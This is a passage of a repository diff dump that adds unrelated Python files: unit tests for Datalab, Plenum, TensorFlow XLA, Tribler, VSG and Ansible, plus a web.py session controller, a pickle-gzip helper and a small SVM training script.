+ "project_id": ""
154
+ }
155
+ '''
156
+ opener = mock.mock_open(read_data=test_config)
157
+ with mock.patch('google.datalab.utils._utils.open', opener):
158
+ _utils.save_project_id('test-project')
159
+ opener.assert_has_calls([mock.call().write('{"project_id": "test-project"}')])
160
+
161
+ @mock.patch('subprocess.Popen')
162
+ @mock.patch('os.path.exists')
163
+ def test_get_default_project_id(self, mock_path_exists, mock_subprocess_call):
164
+ mock_subprocess_call.return_value.communicate.return_value = ('test-project', '')
165
+ mock_subprocess_call.return_value.poll.return_value = 0
166
+ self.assertEquals(_utils.get_default_project_id(), 'test-project')
167
+ mock_subprocess_call.assert_called_with(
168
+ ['gcloud', 'config', 'list', '--format', 'value(core.project)'], stdout=-1)
169
+
170
+ mock_subprocess_call.side_effect = Exception
171
+
172
+ test_config = '''
173
+ {
174
+ "project_id": "test-project2"
175
+ }
176
+ '''
177
+ opener = mock.mock_open(read_data=test_config)
178
+ with mock.patch('google.datalab.utils._utils.open', opener):
179
+ self.assertEquals(_utils.get_default_project_id(), 'test-project2')
180
+
181
+ mock_path_exists.return_value = False
182
+ self.assertIsNone(_utils.get_default_project_id())
183
+
184
+ with mock.patch.dict(os.environ, {'PROJECT_ID': 'test-project3'}):
185
+ self.assertEquals(_utils.get_default_project_id(), 'test-project3')
pool/shard009/Python/0084132_sessions.py ADDED
@@ -0,0 +1,43 @@
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
1
+ #!/usr/bin/env python
2
+ # -*- coding: utf-8 -*-
3
+
4
+ import web
5
+
6
+ from core.controller import Controller
7
+ from core.view import View
8
+
9
+ from lib.session import Session
10
+
11
+ class Sessions(Controller):
12
+
13
+ def set(self):
14
+ Session.set('count', 1)
15
+ return View.load('/session/set.tpl')
16
+
17
+ def get(self):
18
+ params = {}
19
+ params['key'] = 'count'
20
+ params['value'] = Session.get('count')
21
+
22
+ return View.load('/session/get.tpl', params)
23
+
24
+ def add(self):
25
+ count = Session.get('count')
26
+ count = count + 1
27
+ Session.set('count', count)
28
+ raise web.seeother('/session/get/')
29
+
30
+ def remove(self):
31
+ count = Session.get('count')
32
+ if count > 0:
33
+ count = count - 1
34
+ else:
35
+ count = 0
36
+
37
+ Session.set('count', count)
38
+ raise web.seeother('/session/get/')
39
+
40
+
41
+ def destroy(self):
42
+ Session.destroy()
43
+ raise web.seeother('/session/get/')
pool/shard009/Python/0084135_test_complete_with_delayed_view_change.py ADDED
@@ -0,0 +1,68 @@
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
1
+ import functools
2
+ from collections import deque
3
+
4
+ import pytest
5
+
6
+ from plenum.common.constants import PreVCStrategies
7
+ from plenum.common.messages.node_messages import ViewChangeDone, InstanceChange, NewView, ViewChange
8
+ from plenum.test.helper import sdk_send_random_and_check
9
+ from plenum.test.node_catchup.helper import ensure_all_nodes_have_same_data
10
+ from plenum.test.test_node import TestNode, ensureElectionsDone
11
+ from plenum.test.view_change.helper import ensure_view_change
12
+ from stp_core.loop.eventually import eventually
13
+
14
+ REQ_COUNT = 10
15
+ stashed_vc_done_msgs = deque()
16
+ stashed_ic_msgs = deque()
17
+ got_start_vc_msg = False
18
+
19
+
20
+ @pytest.fixture(scope="module")
21
+ def tconf(tconf):
22
+ tconf.PRE_VC_STRATEGY = PreVCStrategies.VC_START_MSG_STRATEGY
23
+ yield tconf
24
+ del tconf.PRE_VC_STRATEGY
25
+
26
+
27
+ def not_processing_view_change_done(node):
28
+ async def processNodeInBoxWithoutVCDone(self):
29
+ """
30
+ Process the messages in the node inbox asynchronously.
31
+ """
32
+ self.nodeIbStasher.process()
33
+ for i in range(len(self.nodeInBox)):
34
+ m = self.nodeInBox.popleft()
35
+ if isinstance(m, tuple) and len(
36
+ m) == 2 and not hasattr(m, '_field_types') and \
37
+ isinstance(m[0], (NewView, InstanceChange, ViewChange)) and \
38
+ m[0].viewNo > self.viewNo:
39
+ if isinstance(m[0], NewView):
40
+ stashed_vc_done_msgs.append(m)
41
+ else:
42
+ stashed_ic_msgs.append(m)
43
+ continue
44
+ await self.process_one_node_message(m)
45
+
46
+ node.processNodeInBox = functools.partial(processNodeInBoxWithoutVCDone, node)
47
+
48
+
49
+ def test_complete_with_delayed_view_change(looper,
50
+ txnPoolNodeSet,
51
+ sdk_wallet_steward,
52
+ sdk_pool_handle):
53
+ def chk_len_stashed_msgs():
54
+ # We are waiting for one message from selected primary
55
+ assert len(stashed_vc_done_msgs) == 1
56
+
57
+ sdk_send_random_and_check(looper, txnPoolNodeSet, sdk_pool_handle, sdk_wallet_steward, REQ_COUNT)
58
+ slow_node = txnPoolNodeSet[-1]
59
+ not_processing_view_change_done(slow_node)
60
+ ensure_view_change(looper, txnPoolNodeSet[:-1])
61
+ looper.run(eventually(chk_len_stashed_msgs))
62
+ while stashed_ic_msgs:
63
+ slow_node.nodeInBox.append(stashed_ic_msgs.popleft())
64
+ while stashed_vc_done_msgs:
65
+ slow_node.nodeInBox.append(stashed_vc_done_msgs.popleft())
66
+ slow_node.processNodeInBox = functools.partial(TestNode.processNodeInBox, slow_node)
67
+ ensureElectionsDone(looper=looper, nodes=txnPoolNodeSet)
68
+ ensure_all_nodes_have_same_data(looper, txnPoolNodeSet)
pool/shard009/Python/0084136_picklegzip.py ADDED
@@ -0,0 +1,21 @@
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
1
+ import pickle
2
+ import gzip
3
+
4
+
5
+ def dump(object, filename, protocol=-1):
6
+ """Save an object to a compressed disk file.
7
+ Works well with huge objects.
8
+ """
9
+ file = gzip.GzipFile(filename, 'wb')
10
+ pickle.dump(object, file, protocol)
11
+ file.close()
12
+
13
+
14
+ def load(filename):
15
+ """Loads a compressed object from disk.
16
+ """
17
+ file = gzip.GzipFile(filename, 'rb')
18
+ object = pickle.load(file)
19
+ file.close()
20
+
21
+ return object
pool/shard009/Python/0084137_gather_nd_op_test.py ADDED
@@ -0,0 +1,147 @@
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
1
+ # Copyright 2018 The TensorFlow Authors. All Rights Reserved.
2
+ #
3
+ # Licensed under the Apache License, Version 2.0 (the "License");
4
+ # you may not use this file except in compliance with the License.
5
+ # You may obtain a copy of the License at
6
+ #
7
+ # http://www.apache.org/licenses/LICENSE-2.0
8
+ #
9
+ # Unless required by applicable law or agreed to in writing, software
10
+ # distributed under the License is distributed on an "AS IS" BASIS,
11
+ # WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
12
+ # See the License for the specific language governing permissions and
13
+ # limitations under the License.
14
+ # ==============================================================================
15
+ """Tests for tensorflow.ops.tf.gather_nd."""
16
+
17
+ from __future__ import absolute_import
18
+ from __future__ import division
19
+ from __future__ import print_function
20
+
21
+ import numpy as np
22
+
23
+ from tensorflow.compiler.tests import xla_test
24
+ from tensorflow.python.framework import errors
25
+ from tensorflow.python.ops import array_ops
26
+ from tensorflow.python.platform import test
27
+
28
+
29
+ class GatherNdTest(xla_test.XLATestCase):
30
+
31
+ def _runGather(self, params, indices):
32
+ with self.test_session():
33
+ paramsp = array_ops.placeholder(params.dtype)
34
+ indicesp = array_ops.placeholder(indices.dtype)
35
+ with self.test_scope():
36
+ gather_nd_t = array_ops.gather_nd(paramsp, indicesp)
37
+ feed_dict = {paramsp: params, indicesp: indices}
38
+ return gather_nd_t.eval(feed_dict=feed_dict)
39
+
40
+ def testSimpleDtype(self):
41
+ for dtype in self.numeric_types:
42
+ self.assertAllEqual(
43
+ np.array([7, 7, 8], dtype=dtype),
44
+ self._runGather(
45
+ np.array([8, 1, 2, 3, 7, 5], dtype=dtype),
46
+ np.array([[4], [4], [0]], np.int32)))
47
+
48
+ def testEmptyIndicesAndParamsOKButJustEmptyParamsFails(self):
49
+ with self.test_session():
50
+ params = np.ones((3, 3), dtype=np.float32)
51
+
52
+ indices_empty = np.empty((0, 2), dtype=np.int32)
53
+ gather_nd_ok_val = self._runGather(params, indices_empty)
54
+ self.assertAllClose(np.empty((0,), dtype=np.float32), gather_nd_ok_val)
55
+
56
+ indices_empty = np.empty((0, 1), dtype=np.int32)
57
+ gather_nd_ok_val = self._runGather(params, indices_empty)
58
+ self.assertAllClose(np.empty((0, 3), dtype=np.float32), gather_nd_ok_val)
59
+
60
+ params_empty = np.empty((0, 3), dtype=np.float32)
61
+ indices_empty = np.empty((0, 2), dtype=np.int32)
62
+ gather_nd_ok_val = self._runGather(params_empty, indices_empty)
63
+ self.assertAllClose(np.empty((0,), dtype=np.float32), gather_nd_ok_val)
64
+
65
+ params_empty = np.empty((0, 3), dtype=np.float32)
66
+ indices_nonempty = np.zeros((1, 2), dtype=np.int32)
67
+ with self.assertRaisesWithPredicateMatch(
68
+ errors.InvalidArgumentError, r"Gather dimension 0 is of size zero"):
69
+ self._runGather(params_empty, indices_nonempty)
70
+
71
+ def testIndexScalar(self):
72
+ params = np.array(
73
+ [[-8, -1, -2, -3, -7, -5], [8, 1, 2, 3, 7, 5]], dtype=np.float32).T
74
+ indices = np.array([4, 1], dtype=np.int32)
75
+ gather_nd_val = self._runGather(params, indices)
76
+ self.assertAllEqual(np.array(7), gather_nd_val)
77
+
78
+ def testParamsRankLargerThanIndexIndexScalarSlices(self):
79
+ params = np.array(
80
+ [[-8, -1, -2, -3, -7, -5], [8, 1, 2, 3, 7, 5]], dtype=np.float32).T
81
+ indices = np.array(
82
+ [
83
+ 4,
84
+ ], dtype=np.int32)
85
+ gather_nd_val = self._runGather(params, indices)
86
+ self.assertAllEqual(np.array([-7, 7]), gather_nd_val)
87
+
88
+ def testParamsRankLargerThanIndexSlices(self):
89
+ params = np.array(
90
+ [[-8, -1, -2, -3, -7, -5], [8, 1, 2, 3, 7, 5]], dtype=np.float32).T
91
+ indices = np.array([[4], [4], [0]], np.int32)
92
+ gather_nd_val = self._runGather(params, indices)
93
+ self.assertAllEqual(np.array([[-7, 7], [-7, 7], [-8, 8]]), gather_nd_val)
94
+
95
+ def testHigherRankParamsLargerThanIndexSlices(self):
96
+ params = np.array(
97
+ [[[-8, -1, -2, -3, -7, -5], [8, 1, 2, 3, 7, 5]],
98
+ [[-80, -10, -20, -30, -70, -50], [80, 10, 20, 30, 70, 50]]],
99
+ dtype=np.float32).T
100
+ indices = np.array([[4], [4], [0]], np.int32)
101
+ gather_nd_val = self._runGather(params, indices)
102
+ self.assertAllEqual(params[[4, 4, 0]], gather_nd_val)
103
+
104
+ def testEmptyIndicesLastRankMeansCopyEntireTensor(self):
105
+ params = np.array(
106
+ [[[-8, -1, -2, -3, -7, -5], [8, 1, 2, 3, 7, 5]],
107
+ [[-80, -10, -20, -30, -70, -50], [80, 10, 20, 30, 70, 50]]],
108
+ dtype=np.float32).T
109
+ indices = np.array([[], []], dtype=np.int32) # Size (2, 0)
110
+ gather_nd_val = self._runGather(params, indices)
111
+ self.assertAllEqual(
112
+ np.vstack((params[np.newaxis, :], params[np.newaxis, :])),
113
+ gather_nd_val)
114
+
115
+ def testHigherRankParamsAndIndicesLargerThanIndexSlices(self):
116
+ params = np.array(
117
+ [[[-8, -1, -2, -3, -7, -5], [8, 1, 2, 3, 7, 5]],
118
+ [[-80, -10, -20, -30, -70, -50], [80, 10, 20, 30, 70, 50]]],
119
+ dtype=np.float32).T
120
+ indices = np.array([[[3], [2], [1]], [[4], [4], [0]]], np.int32)
121
+ gather_nd_val = self._runGather(params, indices)
122
+ self.assertAllEqual(params[[3, 2, 1, 4, 4, 0]].reshape(2, 3, 2, 2),
123
+ gather_nd_val)
124
+
125
+ def testHigherRankParams(self):
126
+ shape = (10, 20, 5, 1, 17)
127
+ params = np.random.rand(*shape).astype(np.float32)
128
+ indices = np.vstack(
129
+ [np.random.randint(0, s, size=2000, dtype=np.int32) for s in shape]).T
130
+ gather_nd_val = self._runGather(params, indices)
131
+
132
+ expected = params[tuple(indices.T)]
133
+ self.assertAllEqual(expected, gather_nd_val)
134
+
135
+ def testHigherRankParamsAndIndices(self):
136
+ shape = (10, 20, 5, 1, 17)
137
+ params = np.random.rand(*shape).astype(np.float32)
138
+ indices = np.vstack(
139
+ [np.random.randint(0, s, size=2000, dtype=np.int32) for s in shape]).T
140
+ indices_reshaped = indices.reshape([10, 10, 20, 5])
141
+ gather_nd_val = self._runGather(params, indices_reshaped)
142
+ expected = params[tuple(indices.T)]
143
+ self.assertAllEqual(expected.reshape([10, 10, 20]), gather_nd_val)
144
+
145
+
146
+ if __name__ == "__main__":
147
+ test.main()
pool/shard009/Python/0084141_svm.py ADDED
@@ -0,0 +1,127 @@
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
1
+ # -*- coding: utf-8 -*-
2
+ from __future__ import division #division en flottants par défaut
3
+ import sys
4
+ import numpy as np
5
+ import random
6
+ import os, pickle
7
+ import plot
8
+ import kernel_perceptron as kp
9
+
10
+ # http://stackoverflow.com/questions/17784587/gradient-descent-using-python-and-numpy-machine-learning
11
+
12
+ def testDef(x):
13
+ return False
14
+
15
+ class LossFun:
16
+ def __init__(self, lf, grad):
17
+ self.lossFun = lf
18
+ self.grad = grad
19
+
20
+ def hinge(x):
21
+ return max(0,1-x)
22
+
23
+ def HingeLoss(xi,yi,w): # b est la dernière coordonnée de w
24
+ return hinge(yi * (np.dot(w[:-1],xi) + w[-1]))
25
+
26
+
27
+ def HLgrad(xi,yi,w,eps):
28
+ evalfxi = yi * (np.dot(w[:-1],xi) + w[-1])
29
+ delta = evalfxi - 1
30
+ if delta > eps:
31
+ res = np.zeros(shape=len(w))
32
+ elif delta < -eps:
33
+ res = (-yi)*(np.concatenate([xi,np.array([1])]))
34
+ else:
35
+ res = (-yi/2.)*(np.concatenate([xi,np.array([1])]))
36
+ # print "res de HLGrad : ", res, "sur ", xi, yi, w
37
+ return(res)
38
+
39
+ L = LossFun(HingeLoss,HLgrad)
40
+
41
+ def sgd(x,y,w,Tmax,eta,L,eps,test=testDef):
42
+ eta1 = eta
43
+ t = 1
44
+ theta = 0
45
+ while(t <= Tmax and not(test(x))):
46
+ lossGrads = np.array([L.grad(x[i],y[i],w,eps) for i in xrange(len(x))])
47
+ v = np.add (np.concatenate([w[:-1],np.array([0])]),lossGrads.sum(axis=0)/(len(x)))
48
+ eta = eta1 / np.sqrt(t)
49
+ w = np.subtract(w,eta * v)
50
+ t = t+1
51
+ theta = np.add(theta,w)
52
+ res = theta / (t)
53
+ return(res)
54
+
55
+ def genData(averages,N):
56
+ x = np.zeros(shape=(2,N,2))
57
+ y = np.concatenate ([np.ones(shape=N), ((-1) * np.ones(shape=N))])
58
+ for c in [0,1]:
59
+ for i in xrange(N):
60
+ for j in [0,1]:
61
+ x[c][i][j] = averages[c] + random.uniform(-1,1)
62
+ res = (np.concatenate([x[0],x[1]]),y)
63
+ return res
64
+
65
+ file = "data"
66
+ curdir = os.path.dirname(os.path.realpath(__file__))+"/"
67
+
68
+ try:
69
+ sampleSize = int(sys.argv[1])
70
+ except IndexError:
71
+ sampleSize = 50
72
+
73
+ averages = [1,5]
74
+
75
+ if os.path.isfile(curdir+file):
76
+ f = open(curdir+file,'r+')
77
+ (x,y,size) = pickle.load(f)
78
+ if size<>sampleSize:
79
+ print 'Taille de l\'echantillon : ', sampleSize
80
+ f.truncate()
81
+ (x,y) = genData(averages,sampleSize)
82
+ pickle.dump((x,y,sampleSize),f)
83
+ f.close()
84
+ else:
85
+ f = open(curdir+file,'w+')
86
+ (x,y) = genData(averages,sampleSize)
87
+ pickle.dump((x,y,sampleSize),f)
88
+ f.close()
89
+
90
+ iterations = 400
91
+ w = sgd(x,y,np.zeros(len(x[0])+1),iterations,1,L,0.01)
92
+ # print "w",w
93
+
94
+ def classify(xi,w):
95
+ return np.sign(np.dot(w[:-1],xi) + w[-1])
96
+ def printClassify(xi,w):
97
+ return (np.dot(w[:-1],xi) + w[-1])
98
+
99
+
100
+ def testClassification(sampleSize,x,y,w):
101
+ goodC = 0
102
+ badC = 0
103
+ for i in xrange(2*sampleSize):
104
+ # print classify(x[i],w),y[i]
105
+ # print "valeur: ", printClassify(x[i],w)
106
+ if classify(x[i],w)==y[i]:
107
+ goodC +=1
108
+ else:
109
+ badC += 1
110
+ # print "Good : ", goodC
111
+ # print "Bad : ", badC
112
+ print "rate : ", goodC/sampleSize/2
113
+ plot.plot(x, y, w[:-1], w[-1])
114
+
115
+ # w[2] = 0.7
116
+ # testClassification(sampleSize,x,y,w)
117
+ # print x
118
+ # print y
119
+ # print w
120
+
121
+ k = np.dot
122
+ w2 = kp.ker_perceptron(x, y, k)
123
+ w3 = 0
124
+ for i in xrange(len(x)):
125
+ w3 = np.add(w3, w2[i] * x[i])
126
+ b = np.sum([w2[i] for i in xrange(len(w2))])
127
+ plot.plot(x,y,w3,b)
pool/shard009/Python/0084147_test_search_community.py ADDED
@@ -0,0 +1,89 @@
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
1
+ import os
2
+
3
+ from nose.tools import raises
4
+ from twisted.internet.defer import inlineCallbacks
5
+
6
+ from Tribler.Test.Community.AbstractTestCommunity import AbstractTestCommunity
7
+ from Tribler.Test.Core.base_test import MockObject
8
+ from Tribler.Test.common import TESTS_DATA_DIR
9
+ from Tribler.community.search.community import SearchCommunity
10
+ from Tribler.community.search.conversion import SearchConversion
11
+ from Tribler.dispersy.message import DropPacket
12
+
13
+
14
+ class TestSearchCommunity(AbstractTestCommunity):
15
+
16
+ @inlineCallbacks
17
+ def setUp(self):
18
+ yield super(TestSearchCommunity, self).setUp()
19
+ self.search_community = SearchCommunity(self.dispersy, self.master_member, self.member)
20
+
21
+ @inlineCallbacks
22
+ def tearDown(self):
23
+ self.search_community.cancel_all_pending_tasks()
24
+ yield super(TestSearchCommunity, self).tearDown()
25
+
26
+ def test_on_search(self):
27
+ """
28
+ Test whether we are creating a search response when we receive a search request
29
+ """
30
+ def log_incoming_searches(sock_addr, keywords):
31
+ log_incoming_searches.called = True
32
+
33
+ log_incoming_searches.called = False
34
+
35
+ def create_search_response(id, results, candidate):
36
+ create_search_response.called = True
37
+ self.assertEqual(id, "abc")
38
+ self.assertEqual(results, [])
39
+ self.assertEqual(candidate.sock_addr, "1234")
40
+
41
+ create_search_response.called = False
42
+
43
+ def search_names(keywords, local=False, keys=None):
44
+ return []
45
+
46
+ self.search_community._torrent_db = MockObject()
47
+ self.search_community._torrent_db.searchNames = search_names
48
+
49
+ fake_message = MockObject()
50
+ fake_message.candidate = MockObject()
51
+ fake_message.candidate.sock_addr = "1234"
52
+ fake_message.payload = MockObject()
53
+ fake_message.payload.keywords = "test"
54
+ fake_message.payload.identifier = "abc"
55
+
56
+ self.search_community._create_search_response = create_search_response
57
+ self.search_community.log_incoming_searches = log_incoming_searches
58
+ self.search_community.on_search([fake_message])
59
+
60
+ self.assertTrue(log_incoming_searches.called)
61
+ self.assertTrue(create_search_response.called)
62
+
63
+ @raises(DropPacket)
64
+ def test_decode_response_invalid(self):
65
+ """
66
+ Test whether decoding an invalid search response does not crash the program
67
+ """
68
+ self.search_community._initialize_meta_messages()
69
+ search_conversion = SearchConversion(self.search_community)
70
+ search_conversion._decode_search_response(None, 0, "a[]")
71
+
72
+ def test_create_torrent(self):
73
+ """
74
+ Test the creation of a torrent in the search community
75
+ """
76
+ with open(os.path.join(TESTS_DATA_DIR, "bak_single.torrent"), mode='rb') as torrent_file:
77
+ torrent_data = torrent_file.read()
78
+
79
+ mock_session = MockObject()
80
+ mock_session.get_collected_torrent = lambda _: torrent_data
81
+ mock_session.open_dbhandler = lambda _: None
82
+ mock_session.notifier = None
83
+ mock_session.lm = MockObject()
84
+ mock_session.lm.rtorrent_handler = None
85
+
86
+ self.search_community.initialize(mock_session)
87
+ self.search_community._torrent_db = MockObject()
88
+ self.search_community._torrent_db.updateTorrent = lambda *_, **ignored: None
89
+ self.assertTrue(self.search_community.create_torrent('a' * 20))
pool/shard009/Python/0084148_test_rule_008.py ADDED
@@ -0,0 +1,45 @@
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
1
+
2
+ import os
3
+ import unittest
4
+
5
+ from vsg.rules import if_statement
6
+ from vsg import vhdlFile
7
+ from vsg.tests import utils
8
+
9
+ sTestDir = os.path.dirname(__file__)
10
+
11
+ lFile, eError =vhdlFile.utils.read_vhdlfile(os.path.join(sTestDir,'rule_008_test_input.vhd'))
12
+
13
+ lExpected = []
14
+ lExpected.append('')
15
+ utils.read_file(os.path.join(sTestDir, 'rule_008_test_input.fixed.vhd'), lExpected)
16
+
17
+
18
+ class test_if_statement_rule(unittest.TestCase):
19
+
20
+ def setUp(self):
21
+ self.oFile = vhdlFile.vhdlFile(lFile)
22
+ self.assertIsNone(eError)
23
+
24
+ def test_rule_008(self):
25
+ oRule = if_statement.rule_008()
26
+ self.assertTrue(oRule)
27
+ self.assertEqual(oRule.name, 'if')
28
+ self.assertEqual(oRule.identifier, '008')
29
+
30
+ lExpected = [45, 49, 60]
31
+
32
+ oRule.analyze(self.oFile)
33
+ self.assertEqual(lExpected, utils.extract_violation_lines_from_violation_object(oRule.violations))
34
+
35
+ def test_fix_rule_008(self):
36
+ oRule = if_statement.rule_008()
37
+
38
+ oRule.fix(self.oFile)
39
+
40
+ lActual = self.oFile.get_lines()
41
+
42
+ self.assertEqual(lExpected, lActual)
43
+
44
+ oRule.analyze(self.oFile)
45
+ self.assertEqual(oRule.violations, [])
pool/shard009/Python/0084154_test_copy.py ADDED
@@ -0,0 +1,215 @@
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
1
+ # -*- coding: utf-8 -*-
2
+ # Copyright:
3
+ # (c) 2018 Ansible Project
4
+ # License: GNU General Public License v3.0+ (see COPYING or https://www.gnu.org/licenses/gpl-3.0.txt)
5
+
6
+ # Make coding more python3-ish
7
+ from __future__ import (absolute_import, division)
8
+ __metaclass__ = type
9
+
10
+ import pytest
11
+
12
+ from ansible.modules.files.copy import AnsibleModuleError, split_pre_existing_dir
13
+
14
+ from ansible.module_utils.basic import AnsibleModule
15
+
16
+
17
+ THREE_DIRS_DATA = (('/dir1/dir2',
18
+ # 0 existing dirs: error (because / should always exist)
19
+ None,
20
+ # 1 existing dir:
21
+ ('/', ['dir1', 'dir2']),
22
+ # 2 existing dirs:
23
+ ('/dir1', ['dir2']),
24
+ # 3 existing dirs:
25
+ ('/dir1/dir2', [])
26
+ ),
27
+ ('/dir1/dir2/',
28
+ # 0 existing dirs: error (because / should always exist)
29
+ None,
30
+ # 1 existing dir:
31
+ ('/', ['dir1', 'dir2']),
32
+ # 2 existing dirs:
33
+ ('/dir1', ['dir2']),
34
+ # 3 existing dirs:
35
+ ('/dir1/dir2', [])
36
+ ),
37
+ )
38
+
39
+
40
+ TWO_DIRS_DATA = (('dir1/dir2',
41
+ # 0 existing dirs:
42
+ ('.', ['dir1', 'dir2']),
43
+ # 1 existing dir:
44
+ ('dir1', ['dir2']),
45
+ # 2 existing dirs:
46
+ ('dir1/dir2', []),
47
+ # 3 existing dirs: Same as 2 because we never get to the third
48
+ ),
49
+ ('dir1/dir2/',
50
+ # 0 existing dirs:
51
+ ('.', ['dir1', 'dir2']),
52
+ # 1 existing dir:
53
+ ('dir1', ['dir2']),
54
+ # 2 existing dirs:
55
+ ('dir1/dir2', []),
56
+ # 3 existing dirs: Same as 2 because we never get to the third
57
+ ),
58
+ ('/dir1',
59
+ # 0 existing dirs: error (because / should always exist)
60
+ None,
61
+ # 1 existing dir:
62
+ ('/', ['dir1']),
63
+ # 2 existing dirs:
64
+ ('/dir1', []),
65
+ # 3 existing dirs: Same as 2 because we never get to the third
66
+ ),
67
+ ('/dir1/',
68
+ # 0 existing dirs: error (because / should always exist)
69
+ None,
70
+ # 1 existing dir:
71
+ ('/', ['dir1']),
72
+ # 2 existing dirs:
73
+ ('/dir1', []),
74
+ # 3 existing dirs: Same as 2 because we never get to the third
75
+ ),
76
+ ) + THREE_DIRS_DATA
77
+
78
+
79
+ ONE_DIR_DATA = (('dir1',
80
+ # 0 existing dirs:
81
+ ('.', ['dir1']),
82
+ # 1 existing dir:
83
+ ('dir1', []),
84
+ # 2 existing dirs: Same as 1 because we never get to the third
85
+ ),
86
+ ('dir1/',
87
+ # 0 existing dirs:
88
+ ('.', ['dir1']),
89
+ # 1 existing dir:
90
+ ('dir1', []),
91
+ # 2 existing dirs: Same as 1 because we never get to the third
92
+ ),
93
+ ) + TWO_DIRS_DATA
94
+
95
+
96
+ @pytest.mark.parametrize('directory, expected', ((d[0], d[4]) for d in THREE_DIRS_DATA))
97
+ def test_split_pre_existing_dir_three_levels_exist(directory, expected, mocker):
98
+ mocker.patch('os.path.exists', side_effect=[True, True, True])
99
+ split_pre_existing_dir(directory) == expected
100
+
101
+
102
+ @pytest.mark.parametrize('directory, expected', ((d[0], d[3]) for d in TWO_DIRS_DATA))
103
+ def test_split_pre_existing_dir_two_levels_exist(directory, expected, mocker):
104
+ mocker.patch('os.path.exists', side_effect=[True, True, False])
105
+ split_pre_existing_dir(directory) == expected
106
+
107
+
108
+ @pytest.mark.parametrize('directory, expected', ((d[0], d[2]) for d in ONE_DIR_DATA))
109
+ def test_split_pre_existing_dir_one_level_exists(directory, expected, mocker):
110
+ mocker.patch('os.path.exists', side_effect=[True, False, False])
111
+ split_pre_existing_dir(directory) == expected
112
+
113
+
114
+ @pytest.mark.parametrize('directory', (d[0] for d in ONE_DIR_DATA if d[1] is None))
115
+ def test_split_pre_existing_dir_root_does_not_exist(directory, mocker):
116
+ mocker.patch('os.path.exists', return_value=False)
117
+ with pytest.raises(AnsibleModuleError) as excinfo:
118
+ split_pre_existing_dir(directory)
119
+ assert excinfo.value.results['msg'].startswith("The '/' directory doesn't exist on this machine.")
120
+
121
+
122
+ @pytest.mark.parametrize('directory, expected', ((d[0], d[1]) for d in ONE_DIR_DATA if not d[0].startswith('/')))
123
+ def test_split_pre_existing_dir_working_dir_exists(directory, expected, mocker):
124
+ mocker.patch('os.path.exists', return_value=False)
125
+ split_pre_existing_dir(directory) == expected
126
+
127
+
128
+ #
129
+ # Info helpful for making new test cases:
130
+ #
131
+ # base_mode = {'dir no perms': 0o040000,
132
+ # 'file no perms': 0o100000,
133
+ # 'dir all perms': 0o400000 | 0o777,
134
+ # 'file all perms': 0o100000, | 0o777}
135
+ #
136
+ # perm_bits = {'x': 0b001,
137
+ # 'w': 0b010,
138
+ # 'r': 0b100}
139
+ #
140
+ # role_shift = {'u': 6,
141
+ # 'g': 3,
142
+ # 'o': 0}
143
+
144
+ DATA = ( # Going from no permissions to setting all for user, group, and/or other
145
+ (0o040000, u'a+rwx', 0o0777),
146
+ (0o040000, u'u+rwx,g+rwx,o+rwx', 0o0777),
147
+ (0o040000, u'o+rwx', 0o0007),
148
+ (0o040000, u'g+rwx', 0o0070),
149
+ (0o040000, u'u+rwx', 0o0700),
150
+
151
+ # Going from all permissions to none for user, group, and/or other
152
+ (0o040777, u'a-rwx', 0o0000),
153
+ (0o040777, u'u-rwx,g-rwx,o-rwx', 0o0000),
154
+ (0o040777, u'o-rwx', 0o0770),
155
+ (0o040777, u'g-rwx', 0o0707),
156
+ (0o040777, u'u-rwx', 0o0077),
157
+
158
+ # now using absolute assignment from None to a set of perms
159
+ (0o040000, u'a=rwx', 0o0777),
160
